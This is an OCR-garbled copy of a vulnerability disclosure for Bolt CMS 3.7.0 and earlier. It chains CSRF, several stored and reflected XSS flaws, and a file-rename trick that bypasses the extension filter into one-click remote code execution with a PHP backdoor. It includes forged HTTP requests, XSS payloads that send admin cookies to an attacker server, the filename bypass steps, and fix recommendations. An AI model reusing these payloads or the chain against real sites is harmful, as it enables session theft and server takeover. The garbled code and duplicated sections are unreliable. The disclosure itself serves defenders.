

Authored by Sivanesh Ashok

Posted Jul 3, 2020

Bolt CMS versions 3.7.0 and below suffer from cross site request forgery, cross site scripting, and remote shell upload vulnerabilities that when combined can achieve remote code execution in one click.

tags | exploit, remote, shell, vulnerability, code execution, xss, csrf advisories | CVE-2020-4040 CVE-2020-4041

Bolt CMS 3.7.0 XSS / CSRF / Shell Upload

Home Files News About Contact &[SERVICES_TAB] Add New

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download # Boit CMS <= 3.7.0 Multiple Vulnerabilities # Author - Sivanesh Ashok | @sivaneshashok | stazot.com Date : 2020-03-24 Vendor : https://bolt.cm/ Version : <= 3.7.0 CVE : CVE-2020-4040, CVE-2020-4041 Last Modified: 2020-07-03 --[Table of Contents 00 - Introduction 01 - Exploit 02 - Cross-Site Request Forgery (CSRF) 02.1 - Source code analysis 03 - Cross-Site Scripting (XSS) 03.1 - Preview generator - Cross-Site Scripting (XSS)
03.1 - Preview generator
03.1-1 - Exploitation
03.2 - System Log
03.2-1 - Source code analysis
03.2-2 - Exploitation
03.3 - File name
03.3-2 - Exploitation
03.3-3 - References
03.4-3 - References
03.4-1 - Exploitation
03.5 - CKEditoré
03.5 - CKEditoré
03.5.1 - Exploitation 04 - Remote Code Execution 04.1 - Source code analysis 04.2 - Exploitation 04.3 - References 05 - Solution 06 - Contact --[00 - Introduction Bolt CMS is an open-source content management tool. This article details the multiple vulnerabilities that I found in the application. The vulnerabilities when chained together, resulted in a single-click RCE which would allow an attacker to remotely take over the server. The link to the exploit is provided in the next section. Chaining all the bugs together results in a single-click RCE. The exploit that does that can be found in the link below. https://github.com/staz0t/exploits/blob/master/SA20200324 boltcms csrf to rce.html Host the exploit code in a webpage and send the link to the admin. When the admin opens the link, backdoor.php gets uploaded and can be accessed via, http://targetbolt.com/files/backdoor.php?cmd={insert_cmd_here} --[02 - Cross-Site Request Forgery (CSRF) Bolt CMS lacks CSRF protection in the preview generating endpoint. Previews are intended to be generated by the admins, developers, chief-editors, and editors, who are authorized to create content in the application. But due to lack of CSRF protection, an unauthorized attacker can generate a preview. This CSRF by itself does not have a huge impact. But this will be used with the XSS, which are described below. -- | 02.1 - Source code analysis The preview generation is done by preview() function which is defined in vendor/bolt/bolt/sar/Controller/Frontend.php:200 and there is no token verification present in the function. --[02.2 - Exploitation The request that is can be forged is, ----[request]----POST /preview/page HTTP/1.1 Host: localhost content edit[token]=hTgbvurWl5f24m2ObnblAZCRrv8wFT0hzvjQi1TMW wcontenttype=pages&title=title&slug=testpage1&te To exploit this vulnerability an attacker has to, Make an HTML page with a form that has the required parameters shown above. The content_edit[_token] is not required. 2. Use JS to auto-submit the form. 3. Host it on a website and send the link to the victim. i.e., an authorized user. When the victim opens the link, the browser will send the request to the server and will follow the redirect to the preview page. This CSRF by itself does not have a huge impact. But this will be used with the XSS, which are described below.

E	Follow us on Twitter
<u>v</u>	Subscribe to an RSS Feed



Ubuntu 68	files		
LiquidWo	rm 23 files		
Debian 16	files		
malvuln 1	l files		
nu11secu	r1ty 11 files		
Gentoo 9 1	iles		
Google Se	curity Rese	earch 6 files	
Julien Ah	ens 4 files		
T. Weber 4	files		

File Tags	File Archives
ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (6,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	
File Upload (946)	Systems
Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

```
--[ 02.3 - References
[CVE-2020-4040] - https://github.com/bolt/bolt/security/advisories/GHSA-2q66-6cc3-6xm8
 --[ 03 - Cross-Site Scripting (XSS)
The application is vulnerable to XSS in multiple endpoints, which could be exploited by an attacker to execute javascript code in the context of the victim user.
 --[ 03.1 - Preview generator
The app uses CKEditor to get input from the users and hence any unsafe inputs are filtered. But the request can be intercepted and manipulated to add javascript in the content, which gets executed in the preview page. Hence the preview generator is vulnerable to reflected XSS.
--[ 03.1.1 - Exploitation
  ---[ request ]----
     POST /preview/page HTTP/1.1
Host: localhost
     contenttype=pages&title=title&slug=testpagel&teaser=teaser1&body=<script>alert(1)</script>&id=151
  ---[ request ]----
 ----[ response ]----
 .

vp class="meta">

Written by <em>Unknown</em> on Monday March 23, 2020
Write

teaser1
<script>alert(1)</script>
   ---[ response ]----
As shown above the payload in the request's body parameter is reflected in
the response. An attacker can chain the above explained CSRF with this
vulnerability to execute javascript code on the context of the victim user.
The 'display name' of the users is vulnerable to stored XSS. The value is not encoded when displayed in the system log, by the functionality that logs the event when an authorized user enables, disables or deletes user accounts. The unencoded 'display name' is displayed in the system log, hence allowing the execution of javascript in the context of admin or developer since those are the roles that are allowed to access the system log, by default.
 --[ 03.2.1 - Source code analysis
The vulnerability is in the vendor/holt/bolt/srC/controller/Backend/Users.php where the user actions are performed and logged. There are two variables that store and are used to display user data in this code. Suser and SuserIntity. It can be seen that SuserIntity is initiated with the values after being passed to $form-lsValid(). This shows that Suser has the unencoded input and SuserEntity has the encoded input.
In line 341, the code adds an entry to the log when a user updates their profile. It can be seen that it uses SuserEntity->getDisplayName(), hence the displayed user input is encoded. But in line 279, there is a switch case condition that logs the respective actions of enable, disable, delete in the system log.
     switch (Saction) {
   case 'disable':
   if (Sthis-Jusers()->setEnabled(Sid, false)) {
      $this-Japp('logger.system')->info("bisabled user '{Suser->getDisplayname()}'.", ['event' =>
                           \label{lem:phase.user-disabled', ['%s' => $user-disabled', ['%s' => $user-disabled']} 
>getDisplayname())));
} else {
Sthis->flashes()->info(Trans::_('general.phrase.user-failed-disabled', ['%s' => Suser-
>getDisplayname()]));
            break;
             case 'delete':
   if (Sthis->isCsrfTokenValid() && Sthis->users()->deleteUser(Sid)) {
    Sthis->app['logger.system']->info("Deleted user '(Suser->getDisplayname())'.", ['event' ->
 >getDisplayname()|));
} else {
    Sthis->flashes()->info(Trans::__('general.phrase.user-failed-delete', ['%s' -> Suser-
                  }
break;
default:
    $this>>flashes()->error(Trans::_('general.phrase.no-such-action-for-user', ['%s' => $user-
ygetDisplayname()));
  --- [ code segment ]----
As shown above, the code uses Suser->getDisplayName() instead of SuserEntity->getDisplayName(), which leads to the display of unencoded user input.
 -- [ 03.2.2 - Exploitation
Here is how an attacker with any role can execute javascript code in the context of the victim.

    Log in and go to your profile settings and set your display name to
some javascript payload.
    For example, for example, setting src="https://evil.server/?cookie='+document.cookie+'"/>')</script>
This payload will send the admin's cookies to attacker's server

2. Now request the admin (or the victim user) to disable your account.
When the admin visits the system log or the mini system log that is shown on the right side of the Users & Permissions page, the payload gets executed in the admin's browser.
The file name is vulnerable to stored XSS. It is not possible to inject javascript code in the file name when creating/uploading the file. But, once created/uploaded, it can be renamed to inject the payload in it.
 --[ 03.3.1 - Source code analysis
The function that is responsible for renaming files is renameFile(), which is defined in vendor/bolt/bott/src/Controller/Async/FilesystemManager.php:335
```

----[code seament 1----

 Spoof (2,166)
 SUSE (1,444)

 SQL Injection (16,102)
 Ubuntu (8,199)

 TCP (2,379)
 UNIX (9,159)

 Trojan (686)
 UnixWare (185)

 UDP (876)
 Windows (8,511)

 Virus (682)
 Other

 Vulnerability (31,138)
 Virus (682)

Web (9,365) Whitepaper (3,729) x86 (946) XSS (17,494)

```
public function renameFile(Request $request)
                 // Verify CSRF token
$this->checkToken($request);
                 Snamespace = Srequest->request->get('namespace');
Sparent = Srequest->request->get('parent');
SollName = Srequest->re('oldname');
// value assigned without any validation
SnewName = Srequest->get('newname');
  if (!Sthis->isExtensionChangedAndIsChangeAllowed(SoldName, SnewName)) {
    return Sthis->json(Trans::_('general.phrase.only-root-change-file-extensions'),
Response::HTTP_TORSIDEDN],
 if (Sthis->validateFileExtension(SnewName) === false) {
    return Sthis->json(sprintf("File extension not allowed: %s", SnewName),
Response:HTTP_BAD_REQUEST);
                         ///renaming with the same unvalidated value

$this->filesystem()->rename("$namespace://$parent/$oldName", "$parent/$newName");
                if ($e instanceof FileExistsException) {
    Sstatus = Response::HTTP_CONFLICT;
} elseif ($e instanceof FileNotPoundException) {
    Sstatus = Response::HTTP_NOT_FOUND;
}
                       $ $$tatus = Response::HTTP_INTERNAL_SERVER_ERROR;
                        return $this->json($msg, $status);
   ---[ code segment ]----
 As shown above, SnewName is initiated with value directly from the request, without any validation or filtering. This allows an attacker to inject javascript code in the name while renaming, making it vulnerable to stored
 A interesting thing is, if the server is hosted on Windows it is not possible to create files with special characters like <, >. So if this attack is tried on Bolt CMS that is hosted on Windows it will not work. I Linux allows special characters in file names. So, this works only if the application is hosted on a linux machine.
  --[ 03.3.2 - Exploitation
  1. Create or upload a file.

    Rename it to inject javascript code in it.
    For example,
    dscript>document.write('<img src="https://evil.server/?cookie="+document.cookie+'"/>')</script>
    This payload will send the victim's cookies to attacker's server

    When the admin (or the victim user) visits the file management page, the
payload gets executed.

  -- [ 03 3 3 - References
 [CVE-2020-4041] - https://github.com/bolt/bolt/security/advisories/GHSA-68q3-7wjp-7q3j
  --[ 03.4 - JS file upload
 This stored XSS is a logical flaw in the application. By default in the config.yml file, the application allows the following file types.
   --- [ code segment ]----
        accept_file_types: [ twig, html, js, css, scss, gif, jpg, jpeg, png, ico, zip, tgz, txt, md, doc, docx, pdf, epub, xls, xlsx, ppt, pptx, mp3, ogg, lwav, m4a, mp4, m4v, ogv, wmv, avi, webm, svg ]
    ---[ code segment 1----
 It can be seen that it allows js and HTML files.
  --[ 03.4.1 - Exploitation
 An attacker with permission to upload files can exploit this to to uploa an HTML file with some javascript in it or include the uploaded js file into the HTML. When the victim visits the uploaded file, the javascript code gets executed in the context of the victim.
Bolt CMS uses CKEditor4 in the blogs to get input. CKEditor4 by default filters malicious HTML attributes but not the src attribute. So, it can be exploited by using javascript URL in the src of an iframe. It is important to not rely on CKEditor4 for XSS prevention since it is only a client side filter, and not a server-side Validator.
  --[ 03.5.1 - Exploitation
 To exploit this vulnerability, an attacker with permission to create/edit blogs should,
 1. Open the 'New Blog' page

    Select the 'source mode' in CKEditor4 and enter the payload
<iframe src=javascript:alert(1)>

  3. (optional) Switch back to WYSIWYG mode.
 4. Post the blog.
 When the victim visits the blog, the javascript code gets executed in the context of the victim.
 Now, all these XSS vulnerabilities on the surface look like simple 
privilege escalation for an already authorized user, except for the preview 
generator. But chaining these with the CSRF, any unauthorized attacker can 
gain admin privileges, with little to no social engineering.
   --[ 04 - Remote Code Execution
The application does not allow the upload of files with 'unsafe' extensions, which include php and it's alternatives. But I bypassed this protection by crafting a file name that abuses the santitation functions. An attacker with permissions to upload files can exploit this to upload php files and execute code on the server.
 This vulnerability was chained with the above mentioned CSRF and XSS to achieve single-click RCE.
  --[ 04.1 - Source code analysis
 The function that validates the extension is validateFileExtension() which is defined invendor/bolt/bolt/src/Controller/Async/FilesystemManager.php:462
   ---- | code segment |----
        private function validateFileExtension($filename)
                // no UNIX-hidden files
if ($filename[0] === '.') {
   return false;
                 }
// only whitelisted extensions
$extension = pathinfo($filename, PATHINFO_EXTENSION);
$allowedExtensions = $this->getAllowedUploadExtensions();
```

```
As shown in the above code segment, the return value returns a value if the extension is " or if it is an allowed extension. The function allows files with no extension. So, I tried to upload a file with the name 'backdor.php.' The dot at the end makes the pathinfo() function return null. So the file gets accepted. But when you open the file in the browser, it does not execute it as php, but just as a plain text file.
The next step is to get the last dot removed.
Analyzing the rename() function defined in vendor/bolt/filesystem/src/Filesystem.php:300, the function calls another function normalizePath(SnewPath) with the new path as a parameter.
  ---[ code segment ]----
       public function rename($path, $newPath)
{
               $path = $this->normalizePath($path);
$newPath = $this->normalizePath($newPath);
$this->assertPresent($path);
$this->assertAbsent($newPath);
The normalizePath() function is defined in the same file in line 823, acts as a wrapper to Flysystem's normalizePath() function. It is being used to fetch the 'real' path of files. This is used to validate the file location etc. For example,
  /somedir/../text.txt == ./text.txt == text.txt
So when './text.txt' is passed to this function, it returns 'text.txt'
So, to remove the last dot from our file name 'backdoor.php.', I changed it
to 'backdoor.php/.' Passing it to normalizePath() it returns 'backdoor.php',
which is exactly what is needed.
So the data flow looks like, first the value 'backdoor.php',' is passed to validateFileExtension() which returns NULL because there is no text after relations to So the wind of File the passed to remail the passed to normalize Path() which removes the last '/.' because it looks like it's a path to the current directory. At the end, the file gets renamed to 'backdoor.php'
Pwned!
 --[ 04.2 - Exploitation
To exploit this vulnerability, an attacker with permission to upload files should,
Rename the file with a dot at the end.
For example,
'backdoor.php.'

    Upload the file and rename it to 'backdoor.php/.'
    You will notice that it will get renamed to 'backdoor.php'

  --[ 04.3 - References
https://stazot.com/boltcms-file-upload-bypass

    Validate the user inputs to the preview generation endpoint before
displaying them in preview() function -
vendor/bolt/bolt/src/Controller/Frontend.php:200

    Use the variable that has the encoded value to display user information.
    i.e., use SuserEntity instead of Suser in - vendor/bolt/bolt/sor/Controller/Backend/Users.php:279

4. Validate the user inputs before renaming the files in renameFile() function in - /src/Controller/Async/FilesystemManager.php:335
5. Do not allow the upload of JS and HTML files. If that is absolutely required, then add it as a separate permission that the admin can allocate to certain roles and not everyone who has access to file upload.

    Enable CKEditor4's option to disallow javascript URLs. For more
information, check
https://ckeditor.com/docs/ckeditor4/latest/api/CKEDITOR_config.html#cfg-linkJavaScriptlinksAllon

7. Change the flow of data while renaming. First pass the data through
normalizePath() data and then through validateFileExtension(). That way,
the validation function validates the final value.
--[ 06 - Contact
    ame : Sivanesh Ashok
Twitter: @sivaneshashok
```

Login or Register to add favorites

File Tags

File Directory



Site Links About Us
News by Month History & Purpose
News Tags Contact Information
Files by Month Terms of Service

Privacy Statement

Copyright Information





